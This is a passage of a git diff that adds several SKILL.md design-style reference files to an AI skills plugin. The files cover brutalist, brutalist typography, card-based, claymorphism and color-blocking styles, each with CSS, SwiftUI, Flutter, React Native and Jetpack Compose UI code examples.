#000000; + font-family: sans-serif; + font-size: 24px; + padding: 10px 20px; + cursor: pointer; +} + +.brutalist-btn:active { + border-style: inset; +} + +/* System link blue */ +a { + color: #0000FF; + text-decoration: underline; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistView: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + Text("BRUTALISM") + .font(.custom("Courier New", size: 32)) + .foregroundColor(.black) + .padding(10) + .border(Color.black, width: 2) + + Divider().background(Color.black).padding(.vertical, 20) + + Button(action: {}) { + Text("CLICK_HERE") + .font(.custom("Courier New", size: 24)) + .foregroundColor(.blue) + .underline() + } + .padding(10) + + // Raw structural container + VStack(alignment: .leading) { + Text("System Status: RAW").font(.custom("Courier New", size: 14)) + } + .padding() + .border(Color.black, width: 1) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity, alignment: .topLeading) + .background(Color.white) + } +} +``` +- Avoid all native `ButtonStyle` components. Use `Text` with `.underline()` mapped to system blue. +- Use `.border(Color.black, width: 1)` instead of backgrounds or shadows. +- Force monospace fonts like Courier New or Menlo. + +### Flutter +```dart +class BrutalistScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // DO NOT use MaterialApp theme or Scaffold if possible, + // or strip them down completely. + return Scaffold( + backgroundColor: Colors.white, + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Container( + padding: const EdgeInsets.all(8), + decoration: BoxDecoration( + border: Border.all(color: Colors.black, width: 2), + ), + child: const Text( + 'BRUTALISM', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 32, + color: Colors.black, + ), + ), + ), + const Padding( + padding: EdgeInsets.symmetric(vertical: 20), + child: Divider(color: Colors.black, thickness: 2), + ), + GestureDetector( + onTap: () {}, + child: const Text( + 'CLICK_HERE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Colors.blue, + decoration: TextDecoration.underline, + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- Avoid `ElevatedButton`, `Card`, or `AppBar`. +- Build UI out of raw `Container`s with `Border.all(color: Colors.black)` and `Text` widgets. +- Use `TextDecoration.underline` to indicate interactivity. + +### React Native +```jsx +const BrutalistScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFFFFF', padding: 16 }}> + <View style={{ + borderWidth: 2, + borderColor: '#000000', + padding: 10, + alignSelf: 'flex-start' + }}> + <Text style={{ fontFamily: 'monospace', fontSize: 32, color: '#000' }}> + BRUTALISM + </Text> + </View> + + <View style={{ height: 2, backgroundColor: '#000', marginVertical: 20 }} /> + + <TouchableOpacity activeOpacity={1}> + <Text style={{ + fontFamily: 'monospace', + fontSize: 24, + color: '#0000FF', + textDecorationLine: 'underline' + }}> + CLICK_HERE + </Text> + </TouchableOpacity> + + <View style={{ + borderWidth: 1, + borderColor: '#000', + padding: 16, + marginTop: 40 + }}> + <Text style={{ fontFamily: 'monospace', color: '#000' }}> + System Status: RAW + </Text> + </View> + </View> + ); +}; +``` +- Strip away all native feel. Do not use `react-native-elements` or `react-native-paper`. +- Set `activeOpacity={1}` on `TouchableOpacity` so there is no smooth fade — it should just click instantly. +- Use pure hex colors: `#FFFFFF`, `#000000`, `#0000FF`. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .padding(16.dp) + ) { + Box( + modifier = Modifier + .border(2.dp, Color.Black) + .padding(10.dp) + ) { + BasicText( + text = "BRUTALISM", + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 32.sp, + color = Color.Black + ) + ) + } + + Spacer(Modifier.height(20.dp)) + Box(modifier = Modifier.fillMaxWidth().height(2.dp).background(Color.Black)) + Spacer(Modifier.height(20.dp)) + + BasicText( + text = "CLICK_HERE", + modifier = Modifier.clickable { }, + style = TextStyle( + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color.Blue, + textDecoration = TextDecoration.Underline + ) + ) + } +} +``` +- Use `BasicText` instead of `Text` to bypass Material theme defaults. +- Build structural lines using `Box` with `.background(Color.Black)`. +- **Do not** use `Button` or `Card` or any Material composables. Raw layouts only. + +## Do's and Don'ts +- **DO**: Use harsh, high-contrast borders (1px solid black) around everything. +- **DON'T**: Use border-radius, drop shadows, or smooth transitions. If it animates, it should pop instantly (0s transition). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md new file mode 100644 index 00000000..f7acab95 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/brutalist-typography/SKILL.md @@ -0,0 +1,287 @@ +--- +name: brutalist-typography +description: Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Brutalist Typography + +> "Aggressive, unpolished, and unapologetic. Text that demands attention by breaking the rules." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Rule Breaking**: Text that overlaps, ignores margins, or deliberately clips off the edge of the screen. +2. **Anti-Design**: Intentional use of system fonts or "ugly" fonts (Times New Roman, Courier) in massive sizes. +3. **Harsh Contrast**: Clashing colors or stark monochrome. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black, White, Red) or aggressive neon clashing (e.g., pure blue on pure red). +- **Typography**: System default fonts (`Times New Roman`, `Arial`, `Courier New`) blown up to 150px. +- **Styling**: Marquees, blinking text, underlines that cut through descenders. + +## Web Implementation +- Break the grid. Use absolute positioning or negative margins. +- **CSS Example**: +```css +body { + background-color: #fff; + color: #000; + font-family: 'Times New Roman', serif; +} + +.brutalist-headline { + font-size: 15vw; + line-height: 0.7; + letter-spacing: -5px; + margin-left: -10px; /* Bleeds off screen intentionally */ + word-wrap: break-word; /* Let words break awkwardly */ +} + +.brutalist-highlight { + background-color: #ff0000; + color: #fff; + padding: 0 10px; +} + +.marquee-container { + border-top: 5px solid #000; + border-bottom: 5px solid #000; + overflow: hidden; + white-space: nowrap; + font-family: 'Courier New', monospace; + font-size: 2rem; + font-weight: bold; + padding: 10px 0; +} + +/* A nod to early 90s web */ +.brutalist-link { + color: #0000ee; + text-decoration: underline; + text-transform: uppercase; +} +.brutalist-link:hover { + background-color: #0000ee; + color: #fff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct BrutalistTypeView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: -20) { + // Bleeds off the edge intentionally + Text("BREAK") + .font(.custom("Times New Roman", size: 120)) + .padding(.leading, -20) + + Text("THE") + .font(.custom("Arial", size: 140)) + .fontWeight(.black) + .foregroundColor(.clear) + .overlay( + Text("THE").stroke(Color.red, lineWidth: 3) + ) + .offset(x: 40) + + Text("GRID.") + .font(.custom("Courier New", size: 100)) + .background(Color.blue) + .foregroundColor(.white) + .rotationEffect(.degrees(-5)) + .offset(y: -40) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.top, 50) + } + .ignoresSafeArea() // Critical for Brutalist type + .background(Color.white) + } +} +``` +- `.ignoresSafeArea()` is mandatory. Text must be allowed to clip into the notch and status bar. +- Use negative `spacing` in `VStack` or explicit negative `.offset()` to force text elements to overlap each other aggressively. +- Outline text is achieved by setting `.foregroundColor(.clear)` and overlaying a `.stroke()`. + +### Flutter +```dart +class BrutalistTypeScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + // Scaffold without SafeArea + return Scaffold( + backgroundColor: Colors.white, + body: Stack( + children: [ + Positioned( + top: -20, + left: -20, + child: const Text( + 'BREAK', + style: TextStyle( + fontFamily: 'Times New Roman', + fontSize: 150, + height: 0.8, // Negative line-spacing + color: Colors.black, + ), + ), + ), + Positioned( + top: 100, + left: 40, + child: Text( + 'THE', + style: TextStyle( + fontFamily: 'Arial', + fontSize: 140, + fontWeight: FontWeight.w900, + foreground: Paint() + ..style = PaintingStyle.stroke + ..strokeWidth = 3 + ..color = Colors.red, + ), + ), + ), + Positioned( + top: 220, + left: 10, + child: Transform.rotate( + angle: -0.1, + child: Container( + color: Colors.blue, + child: const Text( + 'GRID.', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 120, + color: Colors.white, + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- Do not use `SafeArea`. +- Absolute positioning via `Stack` and `Positioned` is the easiest way to break the grid and force overlaps. +- Use `height: 0.8` (or less than 1.0) in `TextStyle` to smash lines of text together. + +### React Native +```jsx +const BrutalistTypeScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFF' }}> + {/* + Note: React Native text clipping can be tricky on Android. + Ensure parent views don't have overflow: 'hidden'. + */} + <Text style={{ + fontFamily: 'Times New Roman', + fontSize: 130, + lineHeight: 110, + color: '#000', + marginLeft: -15, // Bleed off edge + marginTop: 40 + }}> + BREAK + </Text> + + <Text style={{ + fontFamily: 'Arial', + fontSize: 140, + fontWeight: '900', + color: 'transparent', + textShadowColor: '#FF0000', + textShadowRadius: 1, // Fake stroke effect + marginLeft: 40, + marginTop: -30 // Overlap previous text + }}> + THE + </Text> + + <Text style={{ + fontFamily: 'monospace', + fontSize: 100, + backgroundColor: '#0000FF', + color: '#FFF', + transform: [{ rotate: '-5deg' }], + marginTop: -20, + alignSelf: 'flex-start' + }}> + GRID. + </Text> + </View> + ); +}; +``` +- React Native doesn't have a native text-stroke property, so you either simulate it with text shadows or use `@shopify/react-native-skia` for true stroked text. +- Use negative `marginTop` and `marginLeft` to force the layout chaos. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistTypeScreen() { + // Use Box for absolute overlapping layouts + Box( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + ) { + Text( + text = "BREAK", + fontFamily = FontFamily.Serif, // Times New Roman equivalent + fontSize = 130.sp, + color = Color.Black, + lineHeight = 100.sp, + modifier = Modifier.offset(x = (-15).dp, y = (-20).dp) + ) + + Text( + text = "THE", + fontFamily = FontFamily.SansSerif, + fontSize = 140.sp, + fontWeight = FontWeight.Black, + style = TextStyle( + drawStyle = Stroke(width = 5f) + ), + color = Color.Red, + modifier = Modifier.offset(x = 40.dp, y = 100.dp) + ) + + Text( + text = "GRID.", + fontFamily = FontFamily.Monospace, + fontSize = 100.sp, + color = Color.White, + modifier = Modifier + .offset(x = 10.dp, y = 220.dp) + .rotate(-5f) + .background(Color.Blue) + ) + } +} +``` +- A `Box` with explicit `Modifier.offset(x, y)` allows freeform overlapping placement, breaking away from standard `Column`/`Row` grids. +- Compose `TextStyle` supports `drawStyle = Stroke(width = 5f)`, making outline typography incredibly simple. + +## Do's and Don'ts +- **DO**: Mix serif and monospace fonts aggressively. +- **DON'T**: Add drop shadows, gradients, or rounded corners. The design must look raw and unstyled. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md new file mode 100644 index 00000000..79990225 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md @@ -0,0 +1,262 @@ +--- +name: card-based-design +description: Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Card-Based Design + +> "Bite-sized consumption. Encapsulating discrete pieces of information into distinct visual containers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Encapsulation**: Every card is self-contained. It has an image, a title, a short description, and usually an action (like a button or a 'like' icon). +2. **Responsive Flow**: Cards easily reflow on different screen sizes (from a 4-column grid on desktop to a single column on mobile). +3. **Clear Boundaries**: Cards must visually pop off the background. + +## Visual DNA +- **Colors**: Very flexible. The background should be slightly darker or distinct from the card color. **Sophisticated Neutral** works well for a premium feel. +- **Typography**: Clear hierarchy within the card (Header, Subheader, Body). +- **Styling**: Standard `border-radius: 8px` and a medium drop shadow. + +## Web Implementation +- CSS Grid with `auto-fit` or a Masonry layout. +- **CSS Example**: +```css +body { + background-color: #f0f2f5; /* Standard app background */ + padding: 40px; +} + +.card-grid { + display: grid; + /* Auto-responsive magic */ + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 24px; +} + +.card { + background: #ffffff; + border-radius: 12px; + overflow: hidden; /* Keep images inside the rounded corners */ + box-shadow: 0 4px 12px rgba(0,0,0,0.08); + transition: transform 0.2s, box-shadow 0.2s; + display: flex; + flex-direction: column; +} + +.card:hover { + transform: translateY(-4px); + box-shadow: 0 8px 24px rgba(0,0,0,0.12); +} + +.card-image { + width: 100%; + height: 200px; + object-fit: cover; + border-bottom: 1px solid #eee; +} + +.card-content { + padding: 20px; + flex-grow: 1; /* Pushes footer to the bottom */ +} + +.card-footer { + padding: 16px 20px; + border-top: 1px solid #eee; + display: flex; + justify-content: space-between; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ContentCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + // Image Area + Rectangle() + .fill(Color.gray.opacity(0.2)) + .frame(height: 160) + + // Content Area + VStack(alignment: .leading, spacing: 8) { + Text("Card Title") + .font(.headline) + Text("A brief description of the content inside this discrete card container.") + .font(.subheadline) + .foregroundColor(.secondary) + .lineLimit(2) + } + .padding(16) + } + .background(Color.white) + .cornerRadius(12) + // Clean, subtle drop shadow + .shadow(color: Color.black.opacity(0.08), radius: 12, x: 0, y: 4) + } +} + +// In your view: +// LazyVGrid(columns: [GridItem(.adaptive(minimum: 160), spacing: 16)]) { ... } +``` +- `VStack` inside a background with `.cornerRadius` and `.shadow` is the standard. +- Use `LazyVGrid` with `.adaptive(minimum: 160)` to automatically create a multi-column card grid that flows perfectly on iPad or iPhone. + +### Flutter +```dart +class ContentCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Card( + elevation: 4, // Handles shadow natively + shadowColor: Colors.black.withOpacity(0.4), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + clipBehavior: Clip.antiAlias, // Critical: stops images from bleeding over corners + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + // Image Area + Container( + height: 160, + color: Colors.grey[300], + width: double.infinity, + ), + // Content Area + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Card Title', style: TextStyle(fontWeight: FontWeight.bold, fontSize: 18)), + SizedBox(height: 8), + Text( + 'A brief description of the content inside this discrete card container.', + style: TextStyle(color: Colors.black54), + maxLines: 2, + overflow: TextOverflow.ellipsis, + ), + ], + ), + ), + ], + ), + ); + } +} +// In your view: Use GridView.builder for the layout +``` +- The native `Card` widget does almost all the heavy lifting. +- **Critical fix**: You must set `clipBehavior: Clip.antiAlias` on the `Card`, otherwise the top corners of your images will peek outside the border radius. + +### React Native +```jsx +const ContentCard = () => { + return ( + <View style={styles.card}> + <View style={styles.imageArea} /> + <View style={styles.contentArea}> + <Text style={styles.title}>Card Title</Text> + <Text style={styles.description} numberOfLines={2}> + A brief description of the content inside this discrete card container. + </Text> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + card: { + backgroundColor: '#FFF', + borderRadius: 12, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.08, + shadowRadius: 12, + elevation: 4, + margin: 8, + overflow: 'hidden', // Keeps image inside borders + }, + imageArea: { + height: 160, + backgroundColor: '#E0E0E0', + }, + contentArea: { + padding: 16, + }, + title: { + fontSize: 18, + fontWeight: '600', + marginBottom: 8, + }, + description: { + color: '#666', + } +}); +// In your view: <FlatList numColumns={2} data={data} renderItem={...} /> +``` +- Wrap everything in a View with `borderRadius` and `overflow: 'hidden'`. +- `elevation: 4` provides the drop shadow on Android, while the `shadow*` props handle iOS. +- For a Pinterest/Masonry style (columns of different heights), you must use a third-party library like `react-native-masonry-list`, as `FlatList` cannot do varying row heights in columns. + +### Jetpack Compose +```kotlin +@Composable +fun ContentCard() { + // ElevatedCard provides the shadow and shape natively + ElevatedCard( + elevation = CardDefaults.elevatedCardElevation(defaultElevation = 4.dp), + shape = RoundedCornerShape(12.dp), + colors = CardDefaults.elevatedCardColors(containerColor = Color.White), + modifier = Modifier.fillMaxWidth().padding(8.dp) + ) { + Column { + // Image Area + Box( + modifier = Modifier + .fillMaxWidth() + .height(160.dp) + .background(Color.LightGray) + ) + + // Content Area + Column(modifier = Modifier.padding(16.dp)) { + Text( + text = "Card Title", + style = MaterialTheme.typography.titleMedium, + fontWeight = FontWeight.Bold + ) + Spacer(Modifier.height(8.dp)) + Text( + text = "A brief description of the content inside this discrete card container.", + style = MaterialTheme.typography.bodyMedium, + color = Color.Gray, + maxLines = 2, + overflow = TextOverflow.Ellipsis + ) + } + } + } +} +// In your view: LazyVerticalGrid(columns = GridCells.Adaptive(minSize = 160.dp)) { ... } +``` +- `ElevatedCard` is the perfect Material 3 component for this. It handles clipping and shadows automatically. +- Use `GridCells.Adaptive(minSize = 160.dp)` in a `LazyVerticalGrid` to achieve an auto-flowing grid identical to CSS Grid `auto-fit`. + +## Do's and Don'ts +- **DO**: Make the entire card clickable, not just the title or image. +- **DON'T**: Put too much text in a card. If the user has to scroll *within* a card, the card is too big. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md new file mode 100644 index 00000000..baf4a9cc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md @@ -0,0 +1,287 @@ +--- +name: claymorphism +description: Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Claymorphism + +> "Like interacting with a pristine, digital claymation set. Soft, bubbly, and incredibly approachable." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Fluffy 3D Volume**: Elements look like inflated balloons or soft clay blocks. +2. **Double Inner Shadows**: The signature of claymorphism is an inset light shadow on the top-left and an inset dark shadow on the bottom-right, giving 3D volume to a solid shape. +3. **Continuous Curves**: Maximum border-radius. No sharp edges exist in this universe. + +## Visual DNA +- **Colors**: Thrives on pastels and bright, friendly hues. **Desert Mirage**, **Earth-Grounded Elegance**, or custom pastel palettes work best. +- **Typography**: Playful, thick, rounded fonts (e.g., `Sniglet`, `Fredoka One`, `Nunito`). +- **Shapes**: 'Squicles' (squares with heavily rounded, continuous corners) and perfect circles. + +## Web Implementation +- Distinct from Neumorphism: Claymorphism elements detach from the background (they have drop shadows) and use inner shadows to create volume, often using colors that contrast with the background. +- **CSS Example**: +```css +.clay-card { + background-color: #F8B4A6; /* Soft coral */ + border-radius: 32px; + padding: 40px; + + /* + 1. Outer drop shadow (detaches from background) + 2. Inner top-left highlight (volume) + 3. Inner bottom-right shadow (volume) + */ + box-shadow: + 8px 8px 24px rgba(0, 0, 0, 0.15), /* Outer */ + inset -8px -8px 16px rgba(0, 0, 0, 0.1), /* Inner dark */ + inset 8px 8px 16px rgba(255, 255, 255, 0.4); /* Inner light */ + + transition: transform 0.2s cubic-bezier(0.34, 1.56, 0.64, 1); /* Bouncy */ +} + +.clay-card:hover { + transform: translateY(-5px) scale(1.02); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ClayCard: View { + @State private var isPressed = false + + var body: some View { + VStack(spacing: 16) { + Image(systemName: "cloud.sun.fill") + .font(.system(size: 48)) + .foregroundColor(.white) + Text("Claymorphic Card") + .font(.system(size: 20, weight: .bold, design: .rounded)) + .foregroundColor(.white) + } + .padding(40) + .background(Color(red: 0.97, green: 0.71, blue: 0.65)) // Soft coral + .cornerRadius(32) + // Outer shadow — detaches from background + .shadow(color: .black.opacity(0.15), radius: 12, x: 8, y: 8) + // Inner highlight (top-left) — faked with overlay + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.5), .clear, .black.opacity(0.1)], + startPoint: .topLeading, + endPoint: .bottomTrailing + ), + lineWidth: 3 + ) + ) + // Bouncy spring animation on tap + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.interpolatingSpring(stiffness: 300, damping: 10), value: isPressed) + .onTapGesture { } + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The "clay" volume comes from a gradient stroke overlay: white on top-left, dark on bottom-right. +- Use `.interpolatingSpring(stiffness: 300, damping: 10)` for the bouncy feel — critical for clay aesthetics. +- Background color should be pastel/bright but NOT the same as the parent (unlike neumorphism). + +### Flutter +```dart +class ClayCard extends StatefulWidget { + @override + State<ClayCard> createState() => _ClayCardState(); +} + +class _ClayCardState extends State<ClayCard> with SingleTickerProviderStateMixin { + double _scale = 1.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _scale = 0.95), + onTapUp: (_) => setState(() => _scale = 1.0), + onTapCancel: () => setState(() => _scale = 1.0), + child: AnimatedScale( + scale: _scale, + duration: const Duration(milliseconds: 200), + curve: Curves.elasticOut, // Bouncy clay feel + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: const Color(0xFFF8B4A6), // Soft coral + borderRadius: BorderRadius.circular(32), + boxShadow: [ + // Outer shadow + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 24, + ), + ], + // Gradient border for the clay volume effect + border: GradientBorder( + gradient: LinearGradient( + colors: [ + Colors.white.withOpacity(0.5), + Colors.transparent, + Colors.black.withOpacity(0.1), + ], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + width: 3, + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Icon(Icons.wb_sunny, size: 48, color: Colors.white), + const SizedBox(height: 16), + const Text('Claymorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.bold, + color: Colors.white)), + ], + ), + ), + ), + ); + } +} +``` +- Use `Curves.elasticOut` or `Curves.bounceOut` for the spring animation — essential for the clay feeling. +- Gradient borders require a custom `ShapeDecoration` or a `Stack` with a gradient container behind the main container. +- Alternative for inner shadow: use `flutter_inset_box_shadow` package with light top-left and dark bottom-right insets. + +### React Native +```jsx +const ClayCard = () => { + const scale = useRef(new Animated.Value(1)).current; + + const pressIn = () => { + Animated.spring(scale, { + toValue: 0.95, + friction: 3, // Low friction = bouncy + tension: 100, + useNativeDriver: true, + }).start(); + }; + + const pressOut = () => { + Animated.spring(scale, { + toValue: 1, + friction: 3, + tension: 100, + useNativeDriver: true, + }).start(); + }; + + return ( + <Pressable onPressIn={pressIn} onPressOut={pressOut}> + <Animated.View style={{ + transform: [{ scale }], + padding: 40, + backgroundColor: '#F8B4A6', + borderRadius: 32, + alignItems: 'center', + // Outer shadow + shadowColor: '#000', + shadowOffset: { width: 8, height: 8 }, + shadowOpacity: 0.15, + shadowRadius: 12, + elevation: 8, + // Gradient border must be faked with a wrapper or SVG + borderWidth: 3, + borderColor: 'rgba(255,255,255,0.3)', // Simplified — top highlight + }}> + <Text style={{ fontSize: 48 }}>☀️</Text> + <Text style={{ + fontSize: 20, fontWeight: '700', color: '#FFF', marginTop: 16, + }}> + Claymorphic Card + </Text> + </Animated.View> + </Pressable> + ); +}; +``` +- Use `Animated.spring` with low `friction` (3-5) for the signature bouncy clay behavior. +- Gradient borders aren't possible natively — use a solid white-tinted border as a simplified approximation, or wrap in an `expo-linear-gradient` View. + +### Jetpack Compose +```kotlin +@Composable +fun ClayCard() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState( + targetValue = if (isPressed) 0.95f else 1f, + animationSpec = spring(dampingRatio = 0.3f, stiffness = 300f), + ) + + Box( + modifier = Modifier + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(8.dp, RoundedCornerShape(32.dp)) + .clip(RoundedCornerShape(32.dp)) + .background(Color(0xFFF8B4A6)) + .border( + 3.dp, + Brush.linearGradient( + colors = listOf( + Color.White.copy(alpha = 0.5f), + Color.Transparent, + Color.Black.copy(alpha = 0.1f), + ), + start = Offset.Zero, + end = Offset.Infinite, + ), + RoundedCornerShape(32.dp), + ) + .padding(40.dp) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + }, + ) + }, + contentAlignment = Alignment.Center, + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Icon(Icons.Default.WbSunny, tint = Color.White, + modifier = Modifier.size(48.dp)) + Spacer(Modifier.height(16.dp)) + Text("Claymorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.Bold, color = Color.White) + } + } +} +``` +- Use `spring(dampingRatio = 0.3f)` — low damping = bouncy. This is the core of the clay feeling. +- Gradient borders work natively in Compose via `Modifier.border(width, Brush.linearGradient(...), shape)`. +- Use `Modifier.clip()` before `.background()` to ensure the rounded corners clip content properly. + +## Do's and Don'ts +- **DO**: Use highly bouncy, spring-based animations to reinforce the soft, physical nature of the "clay." +- **DON'T**: Use thin, delicate fonts. They will get lost against the heavy, voluminous UI elements. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md new file mode 100644 index 00000000..98971b5a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md @@ -0,0 +1,278 @@ +--- +name: color-blocking +description: Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Color Blocking + +> "The grid made visible. Large, solid swaths of contrasting color defining the layout." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Geometric Division**: The viewport is divided into large rectangles or squares, each filled with a solid, distinct color. +2. **No Margins Between Blocks**: Blocks touch each other directly, often separated only by a stark, 1px or 2px black line (or no line at all, letting the colors clash). +3. **Typography as Texture**: Text is placed precisely within these blocks to balance the visual weight of the colors. + +## Visual DNA +- **Colors**: Highly contrasting, bold pairings. Use 3 to 4 strong colors from palettes like **Industrial Chic** (Red, Black, Grey, White) or custom bold pairings (Yellow, Navy, Pink). +- **Typography**: Very clean, bold sans-serifs that can hold their own against massive blocks of color. +- **Borders**: Often uses thick black borders (`2px solid #000`) between blocks to emphasize the grid, reminiscent of Mondrian paintings. + +## Web Implementation +- CSS Grid is the only way to effectively build this. +- **CSS Example**: +```css +body { + margin: 0; + font-family: 'Space Grotesk', sans-serif; + color: #000; +} + +.color-block-grid { + display: grid; + grid-template-columns: 1fr 2fr 1fr; + grid-template-rows: 60vh 40vh; + /* Thick black lines between blocks */ + gap: 4px; + background-color: #000; + border: 4px solid #000; + min-height: 100vh; +} + +.block { + padding: 40px; + display: flex; + flex-direction: column; + justify-content: space-between; +} + +.block-yellow { background-color: #FACC15; } +.block-white { background-color: #FFFFFF; } +.block-blue { background-color: #2563EB; color: #FFF; } +.block-red { background-color: #EF4444; } + +.block-title { + font-size: 3rem; + font-weight: 900; + text-transform: uppercase; + margin: 0; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ColorBlockingView: View { + let gridSpacing: CGFloat = 4 // Thickness of the black lines + + var body: some View { + // Black background acts as the grid lines between blocks + VStack(spacing: gridSpacing) { + // Top Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .yellow, text: "CREATE", textColor: .black) + ColorBlock(color: .blue, text: "VISION", textColor: .white) + } + .frame(height: 300) + + // Bottom Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .red, text: "BOLD", textColor: .white) + .frame(width: 120) // Fixed narrow block + ColorBlock(color: .white, text: "MINIMAL", textColor: .black) + } + } + .background(Color.black) // The grid lines + .border(Color.black, width: gridSpacing) // Outer border + .ignoresSafeArea() + } +} + +struct ColorBlock: View { + let color: Color + let text: String + let textColor: Color + var body: some View { + color + .overlay( + Text(text) + .font(.system(size: 32, weight: .black)) + .foregroundColor(textColor) + .padding(), + alignment: .bottomLeading + ) + } +} +``` +- In SwiftUI, the easiest way to create Mondrian-style thick black grid lines is to set `.background(Color.black)` on the parent stack and use `spacing: 4`. The background peeks through the gaps. +- `.ignoresSafeArea()` allows the blocks to bleed to the edge of the physical device. + +### Flutter +```dart +class ColorBlockingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + // Black background creates the grid lines + backgroundColor: Colors.black, + body: SafeArea( + bottom: false, + child: Column( + children: [ + // Top Row + 